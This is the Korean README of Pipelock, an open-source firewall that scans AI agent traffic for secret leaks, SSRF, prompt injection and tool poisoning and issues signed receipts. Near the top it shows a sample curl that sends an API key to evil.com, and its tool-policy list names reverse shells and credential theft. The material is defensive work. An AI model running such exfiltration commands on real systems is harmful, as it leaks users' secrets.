
오픈소스 AI 에이전트 방화벽으로, HTTP, MCP, A2A 및 WebSocket 트래픽을 스캔하여 데이터 유출, SSRF, 프롬프트 인젝션을 탐지하고, 감사 가능한 검증된 서명된 액션 영수증을 발행합니다.
검증 가능한 이그레스 제어를 위한 오픈소스 AI 에이전트 방화벽.
Pipelock은 AI 에이전트와 네트워크 사이에 위치합니다. 중재된 HTTP, WebSocket, MCP, A2A 트래픽을 검사하며, TLS 가로채기가 활성화된 경우 CONNECT 터널 내용까지 검사하여 비밀 유출, 프롬프트 인젝션, SSRF, 도구 중독, 위험한 도구 호출 체인을 탐지합니다. 가로채기 없는 일반 CONNECT는 호스트 이름 및 URL 수준에서 스캔됩니다.
Pipelock은 콘텐츠 인식 경계 결정에 대해 중재자 서명 작업 영수증을 발행하여, 검토자가 에이전트 런타임 외부에서 Pipelock이 결정한 사항을 확인할 수 있게 합니다. 공개 agent-egress-bench 코퍼스는 탐지 기능을 실행합니다. 더 알아보기: 오픈소스 AI 방화벽.
호환 대상: Claude Code · OpenAI Codex · Cline · OpenCode · Zed · Cursor · VS Code · JetBrains · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph
문제 · 확인 · 빠른 시작 · 데모 · 탐지 항목 · 기능 · 아키텍처 · 문서 · 플레이그라운드 · 블로그 · Dosu에게 물어보기
브라우저에서 라이브 플레이그라운드에서 직접 사용해보세요. Pipelock이 그 가치를 인정받으면, 다른 사람들이 찾을 수 있도록 저장소에 별표를 눌러주세요.
AI 에이전트의 환경에는 $PROVIDER_API_KEY가 있고, 셸 접근 권한도 있습니다. 단 한 번의 요청으로 이 키가 유출될 수 있습니다:```bash
curl "https://evil.com/steal?key=$PROVIDER_API_KEY" # game over, unless pipelock is watching
모든 시스템 작업은 사용자의 비밀과 공개 인터넷 사이의 경계를 넘어야 합니다. Pipelock은 에이전트가 자체 프록시, MCP 래퍼, 샌드박스, 호스트 격리 모델 또는 클러스터 배포 토폴로지를 통해 라우팅될 때 그 경계가 됩니다. 중재된 아웃바운드 및 인바운드 트래픽을 스캔하고, 모드에 따라 공격을 차단하거나 플래그를 지정하며, 결정에 대한 서명된 증거를 기록합니다.
---
## 직접 확인하세요
대부분의 에이전트 보안 도구는 대시보드를 신뢰하라고 요구합니다. Pipelock은 서명된 영수증을 제공하며, 사용자가 보유한 키를 사용하여 오프라인에서 직접 확인할 수 있게 해줍니다. 계정도 서버도 필요 없습니다.
내장 데모는 실제 공격 시나리오를 실행하고, 차단한 후, 서명된 영수증과 공개 키를 디스크에 기록합니다. 구성도 네트워크도 필요 없습니다:```bash
pipelock demo --receipts-dir ./out # runs attack scenarios, writes 7 signed receipts + signer.pub
pipelock verify-receipt "$(ls ./out/*.json | head -1)" --key ./out/signer.pub # check a signature yourself (each receipt is <action-id>.json)
스코어카드는 각 주장을 독립적으로 평가하며, 증명하지 못하는 것이 무엇인지, 즉 Pipelock이 중재하는 경계 외부에서 어떤 일이 발생했는지 여부를 명시합니다. 그 아래에는 기록된 중재 결정과 그 판결 및 해시 링크가 포함된 영수증 타임라인이 나열됩니다. 자신의 한계에 대해 정직한 영수증은 이를 숨기는 녹색 체크표시보다 더 낫습니다.
증거 뷰어는 무료이며 라이선스가 필요 없습니다:```bash pipelock evidence serve --receipt-dir ./out # read-only HTML report for one recorded session pipelock evidence view --receipt-dir ./out # static offline report, no server
두 가지 정직성 메모를 먼저 밝힙니다. 데모는 실행 시 출력하는 임시 키로 서명하며, 이는 영수증이 명명된 신원에 연결되는 것이 아니라 자체적으로 일관성이 있음을 증명합니다. 공개 Pipelock 플레이그라운드는 Pipelock이 게시하는 키에 대해 검증하는 별도의 경로입니다. 그리고 Pipelock을 실행하는 운영자는 서명 키를 보유하므로, 영수증은 경계가 결정한 내용과 키 보유자가 서명했음을 증명할 뿐, 운영자가 정직하다는 것을 증명하지는 않습니다. `pipelock anchor receipts`는 영수증 체인의 체크포인트를 로컬 백엔드 또는 Rekor 투명성 로그에 기록하여 나중에 감사할 수 있게 하며, 해당 앵커에 대한 운영자 독립적 검증은 아직 종단 간 입증 중입니다.
증명이 약속보다 나은 이유에 대한 전체 논증은 [증명 대 증명서](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/security/demonstration-over-attestation.md)에 있습니다.
---
## 빠른 시작```bash
# Install from source (Go 1.25+)
go install github.com/luckyPipewrench/pipelock/cmd/pipelock@latest
# Set up local agent integrations and generate a config
pipelock init
# Test the scanner
pipelock check --url "https://evil.com/?k=AKIAIOSFODNN7EXAMPLE" # blocked: AWS Access ID
pipelock check --url "https://docs.python.org/3/" # allowed
docker pull ghcr.io/luckypipewrench/pipelock:latest
brew install luckyPipewrench/tap/pipelock
</details>
<details>
<summary>릴리스 무결성 확인</summary>```bash
gh attestation verify pipelock_3.2.0_linux_amd64.tar.gz --owner luckyPipewrench
gh attestation verify oci://ghcr.io/luckypipewrench/pipelock:v3.2.0 --owner luckyPipewrench
릴리스 워크플로는 SLSA 출처, CycloneDX SBOM, 체크섬, 서명된 컨테이너 이미지를 게시합니다. go install을 사용한 소스 빌드는 커뮤니티 전용 바이너리를 생성하며, 사전 빌드된 릴리스 아티팩트에는 유효한 라이선스 키로 활성화되는 유료 티어 코드가 포함됩니다.
Pro/Enterprise 운영자 대시보드(pipelock dashboard serve)는 서명된 증거에 대한 읽기 전용 콘솔입니다. 토큰, OIDC 또는 mTLS 인증, 범위가 지정된 RBAC 권한, 수정된 메타데이터 보기, 원시 보기 승격, 면제 수명 주기 기록, 백업 및 복원, 적용 범위 인증서, 플릿 보기를 지원합니다. 이는 엔터프라이즈 태그가 적용된 빌드 및 릴리스 아티팩트에 존재하며 필요한 라이선스 기능이 있어야 합니다.
위에 표시된 무료 단일 세션 증거 뷰어는 별개입니다. 라이선스가 필요 없으며 에이전트 간 열거 기능이 없습니다.
pipelock report --input events.jsonl은 위험 등급, 타임라인, 이벤트 범주, 증거 부록이 포함된 HTML, JSON 또는 서명된 번들 보고서를 생성합니다. 무료 Prometheus 및 Grafana 경로는 하나의 Pipelock 인스턴스를 모니터링하며 Enterprise Conductor 플릿 제어 평면과는 구별됩니다.
agent-egress-bench는 Pipelock 또는 다른 도구에 대해 에이전트 유출 및 프롬프트 인젝션 공격 코퍼스를 실행합니다. 숫자는 누구나 반복할 수 있는 실행 결과에서 나온 것이지 주장이 아닙니다.
Pipelock은 세 가지 모드로 실행됩니다:
검열되지 않거나 abliterated된 모델을 실행하는 에이전트의 경우 hostile-model 프리셋은 strict 모드에 방어 계층을 추가합니다: 공격적인 엔트로피 임계값, 포괄적인 네트워크 도구 차단, 세션 바인딩, 교차 요청 유출 탐지, 사전 구성된 킬 스위치. pipelock audit는 종속성 신호를 통해 알려진 가드레일 제거 툴체인을 감지하면 이 프리셋을 권장합니다.
정직한 평가: Strict 모드는 허용 목록에 있는 API 도메인을 제외하고 Pipelock을 통과하는 아웃바운드 HTTP를 차단하므로 프록시 자체를 통한 유출 채널이 없습니다. Balanced 모드는 "하나의 curl 명령"에서 "정교한 사전 계획된 공격"으로 기준을 높입니다. Audit 모드는 현재 가지고 있지 않은 가시성을 제공합니다. 샌드박스(
pipelock sandbox)를 사용하거나 호스트/클러스터 격리 토폴로지를 적용하면 Pipelock은 콘텐츠 검사 위에 OS 또는 배포 경계를 추가합니다. 프록시 설정을 무시하는 비협조적인 도구의 직접적인 이그레스는 여전히 해당 경계로 차단되어야 합니다.
참조 매트릭스: docs/comparison.md
공식 비교 허브: AI 런타임 보안 비교
Pipelock은 AI 이그레스 프록시 및 MCP 보안 제어입니다. AI 에이전트와 네트워크 사이에 인라인으로 위치하며, 아웃바운드 및 인바운드 트래픽을 스캔하고 서명된 영수증과 에이전트 런타임 외부에서 증명하기 위한 중재 메타데이터를 발행합니다. AARP/SVID 워크로드 ID 평가는 현재 검증자 측에서 이루어집니다: 프록시 및 MCP 런타임은 실시간 허용/차단 결정에서 SVID 증거를 소비하지 않으며 X.509-SVID에서 영수증 행위자 ID를 바인딩하지 않습니다.
block, strip, warn, ask입니다.text/event-stream 응답을 이벤트별로 토큰화하고, 롤링 교차 이벤트 DLP 및 인젝션 스캐닝을 수행합니다. 탐지 시 실패 시 스트림을 종료합니다. SSE 스트리밍 가이드 참조.tools/call 인수 전반에 걸쳐 <pl:aws-access-key:1>과 같은 타입화된 플레이스홀더로 대체합니다. 영수증은 일반 텍스트 비밀 대신 활성 프로필과 클래스별 개수를 기록합니다.pipelock explain <url>(또한 , )은 스캐너, 계층, 일치 규칙, 검사된 표면, 오탐지에 대한 가장 좁은 구성 노브를 출력합니다. 참조.Pipelock은 MCP 서버를 양방향 스캐닝으로 래핑합니다:```bash
pipelock mcp proxy --config pipelock.yaml -- npx -y @modelcontextprotocol/server-filesystem /tmp
pipelock mcp proxy --upstream http://localhost:8080/mcp
pipelock run --config pipelock.yaml --mcp-listen 127.0.0.1:8889 --mcp-upstream http://localhost:3000/mcp
- **입력 스캐닝:** MCP 클라이언트 요청은 도구 인수에서 DLP 유출 및 인젝션을 확인합니다.
- **응답 스캐닝:** 서버 응답은 에이전트가 보기 전에 스캔됩니다.
- **도구 중독:** `tools/list` 설명은 숨겨진 지시 사항 및 세션 중간의 rug-pull 변경 사항을 확인합니다.
- **도구 정책:** 17개의 내장 규칙은 실행 전에 파괴적인 파일 삭제, 자격 증명 액세스, 리버스 셸, 지속성 메커니즘, 인코딩된 명령 실행, 및 관련 고위험 도구 호출을 차단합니다.
- **도구 호출 체인:** 10개의 내장 카테고리-축 패턴은 정찰, 자격 증명 도용, 데이터 스테이징, 지속성, 유출 및 콜백 체인을 구성 가능한 갭 허용 한계로 탐지합니다.
- **A2A 검사:** Google Agent-to-Agent 프로토콜 트래픽은 포워드 및 MCP 경로에서 검사됩니다. Pipelock은 독립 실행형 A2A 프록시가 아닙니다.
- **인증된 MCP HTTP 리스너 (v3.2.0):** non-loopback MCP 리스너는 기본적으로 fail closed되며 `--mcp-auth-token-file` 또는 명시적 `--mcp-allow-unauthenticated`가 네트워크 정책 격리 배포에 필요합니다. 토큰 없는 루프백 리스너는 DNS-rebound 및 잘못된 포트 호스트 권한을 거부하고 헤더에서 리스너 자격 증명을 제거합니다.
### 격리
비권한 프로세스 격리는 OS 네이티브 프리미티브를 사용합니다. Linux는 Landlock, seccomp 및 네트워크 네임스페이스를 사용합니다. macOS는 `sandbox-exec` 프로파일을 사용합니다. 컨테이너에서 `--best-effort`는 네임스페이스 생성이 제한될 때 Landlock과 seccomp를 유지하며, 네트워크 스캐닝은 프록시 기반 라우팅을 사용합니다.```bash
pipelock sandbox --config pipelock.yaml -- python agent.py
pipelock sandbox --best-effort -- python agent.py
pipelock mcp proxy --sandbox --config pipelock.yaml -- npx server
호스트 격리는 리눅스에서 더 나아갑니다:```bash pipelock contain install pipelock contain verify pipelock contain run -- claude-code
`pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh`는 nftables owner-match 라우팅, systemd 서비스 설정, 래퍼 명령어, 워크스페이스 ACL, CA 갱신, 자세 증거를 관리하는 3-UID 운영자/프록시/에이전트 모델을 관리합니다. 자세한 내용은 [`docs/contain-cli.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/contain-cli.md)를 참조하세요.
### 증거 및 수령증
- **플라이트 레코더(flight recorder):** 해시 체인 방식의 JSONL 증거 로그로, Ed25519 서명 체크포인트 및 DLP 편집 기능을 제공합니다. stock 설치 시 `pipelock init`이 레코더 디렉터리와 서명 키를 준비하며, 디렉터리와 키가 존재할 때까지 레코더는 비활성 상태를 유지합니다. 자세한 내용은 [Flight Recorder](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/flight-recorder.md)를 참조하세요.
- **액션 수령증(action receipts):** 중재된 액션에 대해 발행되는 서명된 레코드로, 판결, 정책 해시, 전송 계층, 스캐너 계층을 포함합니다. 블록은 수령증을 생성합니다. 허용 경로(allow-path) 수령증 적용에는 `flight_recorder.require_receipts` 설정이 필요합니다. `pipelock verify-receipt --key <signer.pub>`로 확인합니다. 고정되지 않은 실행(unpinned run)은 구조적 전용이며, `--allow-unpinned` 플래그가 없으면 0이 아닌 종료 코드를 반환합니다.
- **중재 엔벨로프(mediation envelope):** 전달된 HTTP 요청 및 MCP `_meta`에 포함된 RFC 8941 사이드밴드 메타데이터로, 액션 유형, 판결, 행위자 ID, 정책 해시, 오염 컨텍스트, 수령증 상관 ID를 포함합니다. 자세한 내용은 [federation guide](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/federation.md)를 참조하세요.
- **수령증 적합성(receipt conformance):** 네 가지 독립적인 교차 언어 검증기 구현(Go, TypeScript, Rust, Python)이 하나의 공유 [적합성 코퍼스(conformance corpus)](https://github.com/luckypipewrench/pipelock/blob/HEAD/sdk/conformance/)에 대해 실행되며, 중복 키, 정수 오버플로우, 페어링되지 않은 서로게이트 등 변조 및 위조 가능한 입력을 포함합니다. 브라우저 wasm 표면은 Go 검증기 구현을 재사용합니다. AARP/SVID 평가는 여전히 오프라인 검증기 프로필로 남아 있으며, 런타임 신원 적용이 아닙니다.
- **앵커(anchors):** `pipelock anchor receipts`는 수령증 체인 체크포인트를 로컬 백엔드 또는 Rekor에 기록합니다. Rekor 앵커링은 추후 감사를 위한 증거 자료이며, Rekor 검증에는 고정된 로그 키가 필요하며 종단 간 운영자 독립성 경로는 아직 입증 중입니다.
- **자세 캡슐(posture capsule):** `pipelock posture emit` 및 `pipelock posture verify`는 배포의 적용 자세에 대한 서명된 스냅샷을 생성 및 확인하며, CI 게이트 및 점수 모델을 포함하여 검토자가 경계가 주장한 대로 구성되었는지 확인할 수 있습니다.
### Fleet 및 Enterprise
- **운영자 대시보드(operator dashboard):** `pipelock dashboard serve`는 서명된 증거에 대한 읽기 전용 콘솔입니다. Pro에서는 개요, 증거, 예외, 에이전트, 예산, 신뢰 및 키(Trust & Keys) 뷰를 제공합니다. Enterprise에서는 Fleet, Workbench, 인시던트(Incdident) 뷰가 추가됩니다. 자세한 내용은 [`docs/cli/dashboard.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/dashboard.md)를 참조하세요.
- **무료 증거 뷰어(free evidence viewer):** `pipelock evidence serve` 및 `pipelock evidence view`는 라이선스나 교차 에이전트 열거 없이 하나의 선택된 레코더 세션을 렌더링합니다. `pipelock evidence verify-cert`는 Pro에서 발행한 적용 범위 인증서를 오프라인에서 확인합니다.
- **컨덕터(Conductor):** Enterprise fleet 제어 평면으로, 서명된 정책 번들 배포, 서명된 증거 싱크(`pipelock fleet-sink`), 등록, 원격 종료, 롤백, 드라이런, 결정 재생, mTLS/SPIFFE를 통한 런타임/적용 상태 드리프트 사전 점검을 수행합니다. 팔로워는 로컬에서 적용합니다. 기본 스테일 정책 모드는 유예 기간 이후 독립적인 거부 소스(deny source)를 활성화하며, 문서화된 `continue_last_known_good` 재정의는 해당 자세를 약화시킵니다. 컨덕터는 에이전트 비밀을 보유하지 않습니다. 자세한 내용은 [Conductor guide](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/conductor.md)를 참조하세요.
- **법적 보존(legal hold):** `pipelock dashboard legal-hold add/list/release`는 대시보드의 HTTP 권한 밖에서 유지되는 규정 준수 메타데이터로 보존 명령을 관리하므로, 손상된 대시보드라도 보존 정보를 읽을 수는 있지만 위조하거나 삭제할 수는 없습니다.
- **행동 베이스라인(behavioral baseline):** 프로파일링 후 잠금 방식으로 MCP 도구 동작을 처리하며, `pipelock baseline list/show/ratify/forget`을 통해 운영자 승인 및 재학습을 지원합니다. 자세한 내용은 [`docs/cli/baseline.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/baseline.md)를 참조하세요.
### 운영성
- **킬 스위치(kill switch):** 여섯 가지 독립적인 활성화 소스(설정 파일, 원격 API, SIGUSR1, 센티널 파일, Conductor 원격 종료, 스테일 번들 감지)가 있습니다. 활성화된 소스 하나라도 트래픽을 차단하며, 컨트롤러에는 엔드포인트 및 IP 예외가 있습니다.
- **스캔 API(Scan API):** `url`, `dlp`, `prompt_injection`, `tool_call` 판결에 대한 프로그래밍 방식 스캔을 제공하며, 베어러 토큰 인증, 토큰별 속도 제한, 구조화된 결과, Prometheus 메트릭을 지원합니다. 자세한 내용은 [docs/scan-api.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/scan-api.md)를 참조하세요.
- **파일시스템 센티널(filesystem sentinel):** 에이전트 작업 디렉터리에서 디스크에 기록된 비밀을 감시하고, Linux에서 MCP 서브프로세스 계통에 쓰기를 귀속시킵니다. 자세한 내용은 [docs/guides/filesystem-sentinel.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/filesystem-sentinel.md)를 참조하세요.
- **이벤트 방출(event emission):** 프록시 핫 경로를 차단하지 않고 감사 이벤트를 SIEM, 웹훅 수신기, syslog, CEF, OTLP 및 메트릭 출력으로 전달합니다. 자세한 내용은 [docs/guides/siem-integration.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/siem-integration.md)를 참조하세요.
- **보안 평가(security assessment):** `pipelock assess init`, `pipelock assess run`, `pipelock assess finalize`는 공격 시뮬레이션, 구성 점수 매기기, 설치 검증, MCP 검색을 조정하여 재현 가능한 증거 번들을 생성합니다. 보호되지 않은 MCP 서버와 같은 심각한 노출은 숫자 점수와 관계없이 등급을 제한합니다. 무료 요약에서는 등급, 섹션 점수, 주요 결과를 보여줍니다. 라이선스를 잠금 해제하면 서버별 결과, 수정 명령어, Ed25519 서명 증거가 포함된 전체 보고서를 확인할 수 있습니다.
<details>
<summary>더 많은 기능</summary>
| 기능 | 설명 |
|---------|-------------|
| **감사 보고서(Audit Reports)** | `pipelock report --input events.jsonl`은 위험 등급, 타임라인, 증거 부록이 포함된 HTML/JSON/번들 보고서를 생성합니다. `--sign`으로 Ed25519 서명합니다. ([샘플 보고서](https://github.com/luckypipewrench/pipelock/blob/HEAD/examples/sample-report.html)) |
| **진단(Diagnose)** | `pipelock diagnose`는 네트워크 없이 구성의 종단 간 검증을 위해 7가지 로컬 검사를 실행합니다. |
| **적용 진단(Enforcement Doctor)** (v2.5) | `pipelock doctor`는 프록싱, TLS 가로채기, 요청 본문 스캔, Browser Shield, MCP 래핑, MCP 바이너리 무결성, 도구 출처, file_sentry, Sentry, 배포 경계 신호에 대한 구성된 상태와 적용 가능한 상태를 보고합니다. |
| **요청 본문 삽입 차단(Request Body Injection Blocking)** (v2.5) | 요청 본문 프롬프트 인젝션 및 중요 DLP 결과가 적용 모드에서 비공급자 대상을 전달, 역방향, TLS 가로채기, WebSocket 전송에 걸쳐 하드 차단하며, 운영자에게 표시되는 진단을 위한 차단 이유 헤더를 포함합니다. |
| **요청 정책(Request Policy)** (v2.6) | 기본적으로 허용하는 거부/경고 레일: 경로와 GraphQL 연산 조건자를 매칭하고 JSON `$batch` 엔벨로프를 재귀적으로 처리하며, 구문 분석 불가능하거나 불투명한 본문에서 폐쇄 실패하고, 계약 게이트보다 먼저 실행됩니다. 자세한 내용은 [요청 정책 가이드](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/request-policy.md)를 참조하세요. |
| **TLS 가로채기(TLS Interception)** | 선택적 CONNECT 터널 MITM: 본문/헤더/응답을 해독하고 스캔한 후 재암호화합니다. `pipelock tls init`이 CA를 생성하고, `pipelock tls install-ca`는 플랫폼 신뢰 저장소 설치 단계를 출력합니다. |
| **차단 힌트(Block Hints)** | 옵트인 `explain_blocks: true`는 차단된 응답에 수정 제안을 추가합니다. |
| **프로젝트 감사(Project Audit)** | `pipelock audit ./project`는 보안 위험을 스캔하고 맞춤형 구성을 생성합니다. |
| **구성 점수(Config Scoring)** (v2.6) | `pipelock audit score --config pipelock.yaml`은 23개 범주에 걸쳐 170점 예산과 성적 등급으로 보안 자세를 평가합니다. |
| **파일 무결성(File Integrity)** | SHA256 매니페스트는 작업 공간 파일의 수정, 추가, 삭제를 감지합니다. |
| **Git 보호(Git Protection)** | `git diff \| pipelock git scan-diff`는 커밋 전에 비밀을 잡아냅니다. |
| **Ed25519 서명(Ed25519 Signing)** | 다중 에이전트 신뢰를 위한 키 관리, 파일 서명 및 서명 검증입니다. |
| **세션 프로파일링(Session Profiling)** | 도메인 급증 및 볼륨 스파이크에 대한 세션별 행동 분석입니다. |
| **적응형 적용(Adaptive Enforcement)** | 경고에서 차단으로 확대되는 세션별 위협 점수, 확대 해제 타이머, 도메인 버스트 감지입니다. |
| **적응형 운영자 CLI(Adaptive Operator CLI)** (v2.5) | `pipelock adaptive status / flush / whoami`는 인증된 관리 API를 통해 런타임 적응형 상태를 노출합니다. [`docs/cli/adaptive.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/adaptive.md) 참조. |
| **결과 억제(Finding Suppression)** | 구성 규칙 또는 인라인 `pipelock:ignore` 주석을 통해 알려진 오탐을 무음 처리합니다. |
| **다중 에이전트 지원(Multi-Agent Support)** | `X-Pipelock-Agent` 헤더를 통한 에이전트 식별로 에이전트별 필터링을 지원합니다. |
| **Fleet 모니터링(Fleet Monitoring)** | 인스턴스별 Prometheus 메트릭과 즉시 가져올 수 있는 [Grafana 대시보드](https://github.com/luckypipewrench/pipelock/blob/HEAD/configs/grafana-dashboard.json)를 제공합니다. 무료 단일 인스턴스 모니터링이며, Conductor와는 별개입니다. |
| **운영자 대시보드(Operator Dashboard)** (v3.1, Pro/Enterprise) | `pipelock dashboard serve`는 개요, 증거, 예외, 에이전트, 예산, 신뢰 및 키, Fleet, Workbench, 인시던트 뷰를 제공하며, 토큰, OIDC 또는 mTLS 인증, 범위 제한 RBAC, 원시 보기 상승, 백업/복원, 예외 수명 주기 레코드, 적용 범위 인증서를 지원합니다. [`docs/cli/dashboard.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/dashboard.md) 참조. |
| **무료 증거 뷰어(Free Evidence Viewer)** (v3.1) | `pipelock evidence serve`는 라이선스 없이 교차 에이전트 열거 없이 하나의 선택된 레코더 세션을 읽기 전용 HTML 보고서로 제공합니다. `pipelock evidence verify-cert`는 Pro에서 발행한 적용 범위 인증서를 오프라인에서 확인합니다. |
| **Conductor: fleet 제어 평면** (v2.7, Enterprise) | mTLS/SPIFFE를 통한 서명된 정책 번들 배포, 서명된 증거 감사 싱크(`pipelock fleet-sink`), 등록, 원격 종료, 정책 롤백, 드라이런, 결정 재생, 런타임/적용 상태 드리프트 사전 점검을 제공합니다. `fleet` 라이선스 기능에 의해 게이트되며, 스테일 정책 동작은 명시적이며 기본적으로 엄격한 거부입니다. 자세한 내용은 [Conductor 가이드](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/conductor.md)를 참조하세요. |
| **A2A 스캐닝(A2A Scanning)** | Google의 Agent-to-Agent 프로토콜에 대해 전달/MCP 경로에서 에이전트 카드 중독 탐지, 카드 드리프트 모니터링, 세션 밀수 방지를 제공합니다. |
| **행동 베이스라인(Behavioral Baseline)** | 프로파일링 후 잠금 방식으로 MCP 도구 동작을 처리하며, `pipelock baseline list/show/ratify/forget`을 통해 운영자 승인 및 재학습을 지원합니다. [`docs/cli/baseline.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/baseline.md) 참조. |
| **지갑 고갈 방지(Denial-of-Wallet)** | 에이전트별 MCP 예산: 총 도구 호출, 동일 도구 재시도, 루프/사이클 감지, 벽시계 지속 시간. |
| **오염 확대(Taint Escalation)** | 신뢰가 복원될 때까지 MCP 및 작업 경계를 넘는 노출 기반 정책 확대. |
| **중재 엔벨로프(Mediation Envelope)** | 전달된 HTTP 요청 및 MCP `_meta`에 포함된 RFC 8941 사이드밴드 메타데이터로, 인바운드 검증, 재생 방지, SPIFFE 행위자 형식, RFC 9421 서명 키 디렉터리를 포함합니다. [federation 가이드](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/federation.md) 참조. |
| **수령증 적합성(Receipt Conformance)** | 독립적인 Go, TypeScript, Rust, Python 구현과 Go 기반 브라우저 wasm 표면을 아우르는 교차 구현 수령증 검증 스위트(`sdk/conformance/`). `EvidenceReceipt v2`는 RFC 8785/JCS 정규화를 사용합니다. AARP/SVID 평가는 오프라인 검증기 측에 남아 있습니다. |
| **학습 후 잠금(Learn-and-Lock)** (v2.4) | 에이전트별 행동 계약: 트래픽 관찰, 서명된 후보 계약 컴파일, 섀도우에서 캡처된 관찰 재생, 규칙별 비준, 서명된 활성 매니페스트 승격, URL 기반 전송 및 MCP 도구 호출에 대해 라이브 적용. [learn-and-lock 가이드](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/learn-and-lock.md) 참조. |
| **차단 이유 헤더(Block-Reason Header)** (v2.4) | HTTP 지원 차단 경로에 `X-Pipelock-Block-Reason` 헤더, MCP JSON-RPC 오류 메타데이터에 동일한 이유 어휘를 사용합니다. [차단 이유 헤더](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/block-reason-header.md) 참조. |
| **쐐기 감지 감시자(Wedge-Detection Watchdog)** (v2.4) | `health_watchdog`는 서브시스템 하트비트가 오래되면 `/health`에서 503을 반환합니다. [health 엔드포인트 가이드](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/health.md) 참조. |
| **편집 제공자 플러그인 형태(Redaction Provider Plugin Shape)** (v2.4) | Anthropic, OpenAI, Gemini 채팅 API에 대한 자사 편집 파서와 타사 파서를 위한 제공자 플러그인 형태. |
| **감사 패킷 v0 스키마 + 검증기(Audit Packet v0 Schema + Verifiers)** (v2.5) | 자사 표준 감사 패킷 스키마와 Go, TypeScript, Rust 검증기 구현, 독립형 [`pipelock-verifier`](https://github.com/luckypipewrench/pipelock/blob/HEAD/cmd/pipelock-verifier/) CLI. 스키마는 [`sdk/audit-packet/`](https://github.com/luckypipewrench/pipelock/blob/HEAD/sdk/audit-packet/), 검증기 패키지는 [`sdk/verifiers/`](https://github.com/luckypipewrench/pipelock/blob/HEAD/sdk/verifiers/)에 있습니다. |
| **호스트 격리 생명 주기(Host Containment Lifecycle)** (v2.5) | `pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh`는 3-UID 격리 모델을 관리합니다. [`docs/contain-cli.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/contain-cli.md) 참조. |
| **MCP 무결성 매니페스트(MCP Integrity Manifests)** (v2.5) | `pipelock mcp integrity manifest generate / verify / sign / verify-signature`는 MCP 서버 바이너리/스크립트를 해시로 고정하고, 서브프로세스 실행 전에 신뢰된 매니페스트 서명을 요구할 수 있습니다. [`docs/cli/mcp-integrity.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/mcp-integrity.md) 참조. |
| **Kubernetes MCP 런처 계약(Kubernetes MCP Launcher Contract)** (v2.5) | `pipelock init sidecar --mcp-upstream`은 동반 리스너 구성, 서비스 포트, 워크로드 어노테이션, NetworkPolicy 허용, `PIPELOCK_MCP_PROXY_URL`, 마운트된 `PIPELOCK_MCP_CONFIG`를 내보냅니다. [`docs/cli/init-sidecar.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/init-sidecar.md) 참조. |
| **Federation 엄격 모드(Federation Strict Mode)** (v2.5) | 인바운드 중재 엔벨로프 검증은 기본적으로 SPIFFE 형식 행위자를 요구하며, 계약 툼스톤이 적용되고, `pipelock envelope trust add/list/remove/verify`가 로컬 신뢰를 관리합니다. [federation 가이드](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/federation.md) 참조. |
| **미디어 정책(Media Policy)** | JPEG/PNG에서 스테가노그래픽 메타데이터를 제거하고 기본적으로 오디오/비디오를 거부하며, SVG 활성 콘텐츠를 강화하고 이미지 크기 제한을 적용합니다. [미디어 정책](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/media-policy.md) 참조. |
| **규정 준수 매핑(Compliance Mappings)** | OWASP MCP Top 10, OWASP Agentic Top 15, OWASP LLM Top 10, NIST 800-53, EU AI Act, 조달/감사 매핑을 제공합니다. |
</details>
---
## 무료, Pro, Enterprise
모든 탐지, 적용, 격리 및 단일 에이전트 증거는 Apache 2.0에 따라 영원히 무료입니다. 유료 등급은 다중 에이전트 조정(Pro)과 Fleet 거버넌스 및 규정 준수(Enterprise)를 추가합니다.
| 기능 | 무료 | Pro | Enterprise |
|---|:--:|:--:|:--:|
| 스캔 및 탐지(정렬된 URL 파이프라인, DLP, 인젝션, SSRF, 스트리밍 SSE, 편집, 주소 보호) | 예 | 예 | 예 |
| MCP 및 A2A 스캐닝(입력, 응답, 도구 정책, 도구 체인, 중독, 무결성, 인증된 리스너) | 예 | 예 | 예 |
| 격리, 샌드박스, 호스트 `contain`, 6-소스 킬 스위치 | 예 | 예 | 예 |
| 액션 수령증, 플라이트 레코더, 앵커, 무료 증거 뷰어, `verify-cert`, 독립형 검증기 | 예 | 예 | 예 |
| 카나리 토큰, 스킬 스캔, `explain`, 단일 인스턴스 Prometheus 및 Grafana | 예 | 예 | 예 |
| 에이전트별 프로필: 신원, 예산, 구성 및 스캐너 격리, 에이전트별 샌드박스 | 아니요 | 예 | 예 |
| 소스 CIDR 및 네트워크 선택기에 의한 에이전트별 라우팅 | 아니요 | 예 | 예 |
| 운영자 대시보드: 개요, 증거, 예외, 에이전트, 예산, 신뢰 및 키 | 아니요 | 예 | 예 |
| 에이전트별 적용 범위 인증서 | 아니요 | 예 | 예 |
| 법적 보존 및 규정 준수 메타데이터 | 아니요 | 예 | 예 |
| Conductor fleet 제어 평면, `fleet-sink` 감사 싱크, 원격 종료, 롤백, 결정 재생, 드리프트 사전 점검 | 아니요 | 아니요 | 예 |
| mTLS 등록 및 로스터 검증 서명 정책 배포 | 아니요 | 아니요 | 예 |
